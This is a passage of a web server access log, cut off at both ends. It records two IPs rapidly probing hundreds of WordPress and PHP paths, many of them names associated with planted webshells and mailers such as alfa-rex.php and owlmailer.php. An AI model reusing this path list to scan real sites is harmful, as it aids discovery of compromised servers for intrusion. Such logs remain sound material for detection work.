/wp-content/plugins/woocommerce/assets/images/onboarding/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:08 -0400] "GET /wp-content/plugins/woocommerce/assets/images/onboarding/index.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:08 -0400] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:09 -0400] "GET /wp-content/themes/hideo/functions.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:33:09 -0400] "GET /cc888f23/xyz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:33:09 -0400] "GET /wp-content/plugins/templately/includes/Core/Importer/Utils/about.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:10 -0400] "GET /wp-content/plugins/templately/includes/Core/Importer/Utils/about.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:10 -0400] "GET /wp-content/plugins/templately/includes/Core/Importer/Utils/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:11 -0400] "GET /wp-content/plugins/templately/includes/Core/Importer/Utils/index.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:11 -0400] "GET /hplfuns.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:33:11 -0400] "GET /wp-content/xyz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:33:12 -0400] "GET /networks.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:12 -0400] "GET /product.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:13 -0400] "GET /search.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:13 -0400] "GET /xz.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:33:14 -0400] "GET /wp-content/themes/xyz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:33:14 -0400] "GET /dist/admin/dependencies/bootstrap/about.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:14 -0400] "GET /dist/admin/dependencies/bootstrap/about.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:15 -0400] "GET /dist/admin/dependencies/bootstrap/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:15 -0400] "GET /dist/admin/dependencies/bootstrap/index.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:16 -0400] "GET /wp-content/themes/twentyfourteen/css/about.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:16 -0400] "GET /wp-content/themes/twentyfourteen/css/about.php7 HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:33:16 -0400] "GET /wp-content/plugins/xyz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:33:17 -0400] "GET /wp-content/themes/twentyfourteen/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:17 -0400] "GET /wp-content/themes/twentyfourteen/css/index.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:18 -0400] "GET /Bild.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:18 -0400] "GET /words.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:33:19 -0400] "GET /wp-content/uploads/xyz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:33:19 -0400] "GET /islamlife/wp-includes/SimplePie/Content/index.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:19 -0400] "GET /autoload_classmap/fix.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:20 -0400] "GET /autoload_classmap/fix.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:20 -0400] "GET /autoload_classmap/footer.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:21 -0400] "GET /autoload_classmap/index.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:21 -0400] "GET /autoload_classmap/mailer.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:33:22 -0400] "GET /wp-content/upgrades/xyz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:33:22 -0400] "GET /autoload_classmap/mailer.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:23 -0400] "GET /autoload_classmap/man.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:23 -0400] "GET /autoload_classmap/man.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:24 -0400] "GET /autoload_classmap/msleaf.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:24 -0400] "GET /autoload_classmap/msleaf.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:25 -0400] "GET /autoload_classmap/php.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:33:25 -0400] "GET /images/depotcv.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:33:25 -0400] "GET /autoload_classmap/php.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:26 -0400] "GET /autoload_classmap/php8.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:26 -0400] "GET /autoload_classmap/psm.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:27 -0400] "GET /autoload_classmap/psm.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:27 -0400] "GET /autoload_classmap/sell.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:28 -0400] "GET /autoload_classmap/sell.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:28 -0400] "GET /autoload_classmap/sts.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:33:28 -0400] "GET /images/Logo_mm.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:33:29 -0400] "GET /autoload_classmap/sts.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:29 -0400] "GET /autoload_classmap/system-config.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:30 -0400] "GET /autoload_classmap/t.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:30 -0400] "GET /autoload_classmap/t.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:31 -0400] "GET /autoload_classmap/unzipper.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:33:31 -0400] "GET /wp-includes/PHPMailer/webdb.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:33:31 -0400] "GET /autoload_classmap/unzipper.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:32 -0400] "GET /autoload_classmap/wp-themes.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:32 -0400] "GET /autoload_classmap/wp-themes.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:33 -0400] "GET /autoload_classmap/wp-update.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:33 -0400] "GET /autoload_classmap/wp-update.php7 HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:33:34 -0400] "GET /wp-content/uploads/TVkzrZ.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:33:34 -0400] "GET /autoload_classmap/xplugin.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:34 -0400] "GET /autoload_classmap/xyzxxx.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:35 -0400] "GET /wp-includes/js/fix.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:35 -0400] "GET /wp-includes/js/fix.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:36 -0400] "GET /wp-includes/js/footer.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:33:36 -0400] "GET /wp-includes/widgets/include.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:33:36 -0400] "GET /wp-includes/js/mailer.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:37 -0400] "GET /wp-includes/js/mailer.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:37 -0400] "GET /wp-includes/js/man.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:38 -0400] "GET /wp-includes/js/man.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:38 -0400] "GET /wp-includes/js/msleaf.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:39 -0400] "GET /wp-includes/js/msleaf.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:40 -0400] "GET /wp-includes/js/php.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:40 -0400] "GET /wp-includes/js/php.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:41 -0400] "GET /wp-includes/js/php8.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:41 -0400] "GET /wp-includes/js/psm.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:33:41 -0400] "GET /wp-includes/file.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:33:42 -0400] "GET /wp-includes/js/psm.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:42 -0400] "GET /wp-includes/js/sell.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:43 -0400] "GET /wp-includes/js/sell.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:43 -0400] "GET /wp-includes/js/sidebar.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:33:44 -0400] "GET /wp-admin/includes/class-wp-pagebuilders-kYzgME.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:33:44 -0400] "GET /wp-includes/js/sts.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:44 -0400] "GET /wp-includes/js/sts.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:45 -0400] "GET /wp-includes/js/t.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:45 -0400] "GET /wp-includes/js/t.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:46 -0400] "GET /wp-includes/js/unzipper.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:33:46 -0400] "GET /wp-admin/includes/popDaG.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:33:46 -0400] "GET /wp-includes/js/wp-themes.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:47 -0400] "GET /wp-includes/js/wp-themes.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:47 -0400] "GET /wp-includes/js/wp-update.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:48 -0400] "GET /wp-includes/js/wp-update.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:48 -0400] "GET /wp-includes/js/xyzxxx.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:33:49 -0400] "GET /wp-includes/Text/cykeObNUpj.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:33:49 -0400] "GET /wp-includes/js/zwso.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:50 -0400] "GET /wp/wordpress/wp-includes/rest-api/class-wp-rest-request.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:51 -0400] "GET /wp/wordpress/wp-includes/rest-api/class-wp-rest-response.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:51 -0400] "GET /wp/wordpress/wp-includes/rest-api/class-wp-rest-server.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:52 -0400] "GET /wp/wordpress/wp-includes/rest-api/fix.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:33:52 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:33:52 -0400] "GET /wp/wordpress/wp-includes/rest-api/fix.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:53 -0400] "GET /wp/wordpress/wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:53 -0400] "GET /Content/UserFiles/ListItem/Orjinal/about.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:54 -0400] "GET /Content/UserFiles/ListItem/Orjinal/about.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:54 -0400] "GET /Content/UserFiles/ListItem/Orjinal/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:55 -0400] "GET /Content/UserFiles/ListItem/Orjinal/alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:33:55 -0400] "GET /wp-admin/css/colors/blue/NOjChwZC.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:33:55 -0400] "GET /Content/UserFiles/ListItem/Orjinal/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:56 -0400] "GET /wp-includes/ID3/getid3.lib.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:57 -0400] "GET /wp-includes/ID3/getid3.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:57 -0400] "GET /wp-includes/ID3/module.audio-video.asf.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:58 -0400] "GET /wp-includes/ID3/module.audio-video.flv.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:33:58 -0400] "GET /wp-includes/fonts/class-wp-font-face-resolver.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:33:58 -0400] "GET /wp-includes/ID3/module.audio-video.matroska.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:59 -0400] "GET /wp-includes/ID3/module.audio-video.quicktime.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:59 -0400] "GET /wp-includes/ID3/module.audio-video.riff.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:00 -0400] "GET /wp-includes/ID3/module.audio.ac3.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:00 -0400] "GET /wp-includes/ID3/module.audio.dts.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:34:01 -0400] "GET /wp-admin/images/SBhZwKpO.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:34:01 -0400] "GET /wp-includes/ID3/module.audio.flac.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:01 -0400] "GET /wp-includes/ID3/module.audio.mp3.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:02 -0400] "GET /wp-includes/ID3/module.audio.ogg.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:03 -0400] "GET /wp-includes/ID3/module.tag.apetag.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:03 -0400] "GET /wp-includes/ID3/module.tag.id3v1.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:04 -0400] "GET /wp-includes/ID3/module.tag.id3v2.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:34:04 -0400] "GET /wp-admin/css/colors/coffee/PXXIKeDQh.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:34:04 -0400] "GET /wp-includes/ID3/module.tag.lyrics3.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:05 -0400] "GET /wp-includes/blocks/calendar/index.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:05 -0400] "GET /cwclass.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:06 -0400] "GET /wp-content/plugins/elementor/modules/promotions/about.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:34:06 -0400] "GET /wp-admin/images/headerg.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:34:06 -0400] "GET /wp-content/plugins/elementor/modules/promotions/about.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:07 -0400] "GET /wp-content/plugins/elementor/modules/promotions/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:07 -0400] "GET /wp-content/plugins/elementor/modules/promotions/index.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:08 -0400] "GET /formmail.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:08 -0400] "GET /sb_web.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:09 -0400] "GET /wp-admin/css/colors/light/about.php7 HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:34:09 -0400] "GET /wp-admin/includes/class-wp-contact-form.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:34:09 -0400] "GET /wp-admin/css/colors/light/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:10 -0400] "GET /wp-admin/css/colors/light/alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:11 -0400] "GET /wp-admin/css/colors/light/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:11 -0400] "GET /wp-content/plugins/elementor/core/behaviors/about.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:34:11 -0400] "GET /wp-admin/includes/class-wp-page-8aBSDh.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:34:12 -0400] "GET /wp-content/plugins/elementor/core/behaviors/about.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:12 -0400] "GET /wp-content/plugins/elementor/core/behaviors/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:13 -0400] "GET /wp-content/plugins/elementor/core/behaviors/index.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:13 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:34:14 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:34:14 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:14 -0400] "GET /wp-admin/network/contribute.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:15 -0400] "GET /wp-admin/network/credits.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:15 -0400] "GET /wp-admin/network/edit.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:16 -0400] "GET /wp-admin/network/freedoms.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:34:16 -0400] "GET /wp-admin/images/oussdz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:34:16 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:17 -0400] "GET /wp-admin/network/menu.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:17 -0400] "GET /wp-admin/network/plugin-editor.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:18 -0400] "GET /wp-admin/network/plugin-install.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:34:18 -0400] "GET /wp-admin/images/buvFW.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:34:18 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:19 -0400] "GET /wp-admin/network/privacy.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:20 -0400] "GET /wp-admin/network/profile.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:20 -0400] "GET /wp-admin/network/settings.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:34:21 -0400] "GET /wp-admin/includes/class-wp-pagebuilders-OpslAD.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:34:21 -0400] "GET /wp-admin/network/setup.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:21 -0400] "GET /wp-admin/network/site-info.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:22 -0400] "GET /wp-admin/network/site-new.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:22 -0400] "GET /wp-admin/network/site-settings.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:23 -0400] "GET /wp-admin/network/site-themes.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:23 -0400] "GET /wp-admin/network/site-users.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:34:23 -0400] "GET /wp-admin/includes/translation.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:34:24 -0400] "GET /wp-admin/network/sites.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:24 -0400] "GET /wp-admin/network/theme-editor.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:25 -0400] "GET /wp-admin/network/theme-install.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:25 -0400] "GET /wp-admin/network/themes.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:26 -0400] "GET /wp-admin/network/update-core.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:34:26 -0400] "GET /uploads/owlmailer.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:34:26 -0400] "GET /wp-admin/network/update.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:27 -0400] "GET /wp-admin/network/upgrade.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:27 -0400] "GET /wp-admin/network/user-edit.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:28 -0400] "GET /wp-admin/network/user-new.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:28 -0400] "GET /wp-admin/network/users.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:34:29 -0400] "GET /wp-admin/js/pagin.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:34:29 -0400] "GET /wp-admin/network/wp-login.php/wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:29 -0400] "GET /assets/css/index.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:30 -0400] "GET /base64.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:30 -0400] "GET /carlinsa-com/index/function.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:31 -0400] "GET /wp-includes/js/tinymce/plugins/wpview/wp/about.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:31 -0400] "GET /wp-includes/js/tinymce/plugins/wpview/wp/about.php7 HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:34:32 -0400] "GET /uploads/phUploader.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:34:32 -0400] "GET /wp-includes/js/tinymce/plugins/wpview/wp/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:32 -0400] "GET /wp-includes/js/tinymce/plugins/wpview/wp/alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:33 -0400] "GET /wp-includes/js/tinymce/plugins/wpview/wp/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:34 -0400] "GET /wp-includes/blocks/comments/about.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:34 -0400] "GET /wp-includes/blocks/comments/about.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:35 -0400] "GET /wp-includes/blocks/comments/wp-login.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:34:35 -0400] "GET /shx.php%20 HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:34:35 -0400] "GET /wp-includes/blocks/comments/index.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:36 -0400] "GET /content/live/quotemygoodstg/wp-content/hehe.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:36 -0400] "GET /wp-admin/js/js/028V13/about.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:37 -0400] "GET 